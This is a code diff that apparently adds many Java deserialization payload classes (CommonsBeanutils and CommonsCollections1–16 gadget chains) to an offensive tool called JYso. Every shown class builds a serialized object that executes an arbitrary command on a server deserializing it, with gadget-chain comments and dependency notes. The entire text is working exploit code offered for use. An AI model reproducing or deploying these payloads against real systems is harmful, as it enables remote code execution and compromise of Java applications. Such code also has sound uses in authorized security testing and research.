ObjectToStringComparator stringComparator = new ObjectToStringComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
queue.add(stringComparator);
queue.add(stringComparator);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}
}
@@ -0,0 +1,40 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.logging.log4j.util.PropertySource;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"})
@Authors({"SummerSec"})
public class CommonsBeanutilsPropertySource implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
PropertySource propertySource1 = new PropertySource() {
@Override
public int getPriority() {
return 0;
}
};
BeanComparator beanComparator = new BeanComparator(null, new PropertySource.Comparator());
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(propertySource1);
queue.add(propertySource1);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}
}
@@ -0,0 +1,56 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import org.apache.logging.log4j.util.PropertySource;
import java.util.Comparator;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"})
@Authors({"SummerSec"})
public class CommonsBeanutilsPropertySource183 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
PropertySource propertySource1 = new PropertySource() {
@Override
public int getPriority() {
return 0;
}
};
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
try {
CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
ctBeanComparator.removeField(ctSUID);
} catch (javassist.NotFoundException e) {
}
ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
ctBeanComparator.defrost();
Reflections.setFieldValue(beanComparator, "comparator", new PropertySource.Comparator());
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
queue.add(propertySource1);
queue.add(propertySource1);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}
}
@@ -0,0 +1,62 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
/**
* Gadget chain:
* ObjectInputStream.readObject()
* AnnotationInvocationHandler.readObject()
* Map(Proxy).entrySet()
* AnnotationInvocationHandler.invoke()
* LazyMap.get()
* ChainedTransformer.transform()
* ConstantTransformer.transform()
* InvokerTransformer.transform()
* Method.invoke()
* Class.getMethod()
* InvokerTransformer.transform()
* Method.invoke()
* Runtime.getRuntime()
* InvokerTransformer.transform()
* Method.invoke()
* Runtime.exec()
* <p>
* Requires:
* commons-collections
*/
@SuppressWarnings({"rawtypes", "unchecked", "unused"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.FROHOFF})
public class CommonsCollections1 implements ObjectPayload<InvocationHandler> {
@Override
public InvocationHandler getObject(String command) throws Exception {
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)});
// real chain for after setup
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);// 反射修改iTransformers属性会触发反序列化
return handler;
}
}
@@ -0,0 +1,44 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.2.1"})
public class CommonsCollections10 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
// 使用 InstantiateFactory 代替 InstantiateTransformer
InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates});
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
// 先放一个无关键要的 Transformer
ConstantTransformer constantTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap();
LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap, constantTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L");
Map expMap = new HashMap();
expMap.put(tme, "QI5L");
Reflections.setFieldValue(outerMap, "factory", factoryTransformer);
outerMap.remove("QI4L");
return expMap;
}
}
@@ -0,0 +1,37 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
/**
* RMIConnector 二次反序列化
* 需要调用其 connect 方法,因此需要调用任意方法的 Gadget,这里选择了 InvokerTransformer
* 直接传入 Base64 编码的序列化数据即可
*/
public class CommonsCollections11 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "QI4L");
lazyMap.remove(templates);
Reflections.setFieldValue(lazyMap, "factory", invokerTransformer);
return expMap;
}
}
@@ -0,0 +1,31 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.DefaultedMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.2.1"})
public class CommonsCollections12 implements ObjectPayload<Hashtable> {
@Override
public Hashtable getObject(String command) throws Exception {
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
DefaultedMap defaultedMap1 = (DefaultedMap) DefaultedMap.decorate(hashMap1, transformers);
DefaultedMap defaultedMap2 = (DefaultedMap) DefaultedMap.decorate(hashMap2, transformers);
defaultedMap1.put("yy", 1);
defaultedMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(defaultedMap1, 1);
hashtable.put(defaultedMap2, 1);
defaultedMap2.remove("yy");
return hashtable;
}
}
@@ -0,0 +1,42 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.2.1"})
@Authors({Authors.Jayl1n})
public class CommonsCollections13 implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
final Map innerMap = new HashMap();
final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
// arm with actual transformer chain
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return val;
}
}
@@ -0,0 +1,34 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.Unam4})
public class CommonsCollections14 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
Transformer transformerChain = new ChainedTransformer(transformers);
Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1);
HashMap hashMap = Gadgets.maskmapToString(tiedMapEntry, tiedMapEntry);
Reflections.setFieldValue(decorate, "factory",transformerChain );
Reflections.setFieldValue(tiedMapEntry, "key",233);
return hashMap;
}
}
@@ -0,0 +1,34 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.Unam4})
public class CommonsCollections15 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
Transformer transformerChain = new ChainedTransformer(transformers);
Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1);
Hashtable hashtable = Gadgets.makeTableTstring(tiedMapEntry);
Reflections.setFieldValue(decorate, "factory",transformerChain );
Reflections.setFieldValue(tiedMapEntry, "key",233);
return hashtable;
}
}
@@ -0,0 +1,41 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.1","jdk:jdk<=8u70"})
@Authors({Authors.Unam4})
public class CommonsCollections16 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
Transformer transformerChain = new ChainedTransformer(transformers);
Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1);
HashMap<Object, Object> map1 = new HashMap<>();
map1.put("value",tiedMapEntry);
Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> Anotationdeclared = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
Anotationdeclared.setAccessible(true);
InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Target.class, map1);
Reflections.setFieldValue(decorate, "factory",transformerChain );
Reflections.setFieldValue(tiedMapEntry, "key",233);
return h;
}
}
@@ -0,0 +1,33 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.util.PriorityQueue;
import java.util.Queue;
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
@Authors({Authors.FROHOFF})
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
queue.add(1);
queue.add(1);
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates});
return queue;
}
}
@@ -0,0 +1,59 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
/**
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
@SuppressWarnings({"rawtypes", "unchecked", "restriction", "unused"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.FROHOFF})
public class CommonsCollections3 implements ObjectPayload<Object> {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
public Object getObject(String command) throws Exception {
final Object templatesImpl;
templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)});
// real chain for after setup
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl})};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
}
@@ -0,0 +1,58 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.util.PriorityQueue;
import java.util.Queue;
/**
* Variation on CommonsCollections2 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
@Authors({Authors.FROHOFF})
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[]{String.class};
Object[] args = new Object[]{Utils.generateRandomString(4)};
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{constant, instantiate});
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
return queue;
}
}
@@ -0,0 +1,65 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;
/**
* Gadget chain:
* ObjectInputStream.readObject()
* BadAttributeValueExpException.readObject()
* TiedMapEntry.toString()
* LazyMap.get()
* ChainedTransformer.transform()
* ConstantTransformer.transform()
* InvokerTransformer.transform()
* Method.invoke()
* Class.getMethod()
* InvokerTransformer.transform()
* Method.invoke()
* Runtime.getRuntime()
* InvokerTransformer.transform()
* Method.invoke()
* Runtime.exec()
* <p>
* Requires:
* commons-collections
*/
@SuppressWarnings({"rawtypes", "unused"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.MATTHIASKAISER, Authors.JASINNER})
public class CommonsCollections5 implements ObjectPayload<BadAttributeValueExpException> {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
public BadAttributeValueExpException getObject(String command) throws Exception {
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)});
// real chain for after setup
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Reflections.setFieldValue(val, "val", entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
}
}
@@ -0,0 +1,87 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
* Gadget chain:
* java.io.ObjectInputStream.readObject()
* java.util.HashSet.readObject()
* java.util.HashMap.put()
* java.util.HashMap.hash()
* org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
* org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
* org.apache.commons.collections.map.LazyMap.get()
* org.apache.commons.collections.functors.ChainedTransformer.transform()
* org.apache.commons.collections.functors.InvokerTransformer.transform()
* java.lang.reflect.Method.invoke()
* java.lang.Runtime.exec()
* <p>
* by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.MATTHIASKAISER})
public class CommonsCollections6 implements ObjectPayload<Serializable> {
public Serializable getObject(String command) throws Exception {
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L");
HashSet map = new HashSet(1);
map.add("QI4L");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
}
@@ -0,0 +1,49 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI})
public class CommonsCollections7 implements ObjectPayload<Hashtable> {
public Hashtable getObject(String command) throws Exception {
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
}
}

Some files were not shown because too many files have changed in this diff Show More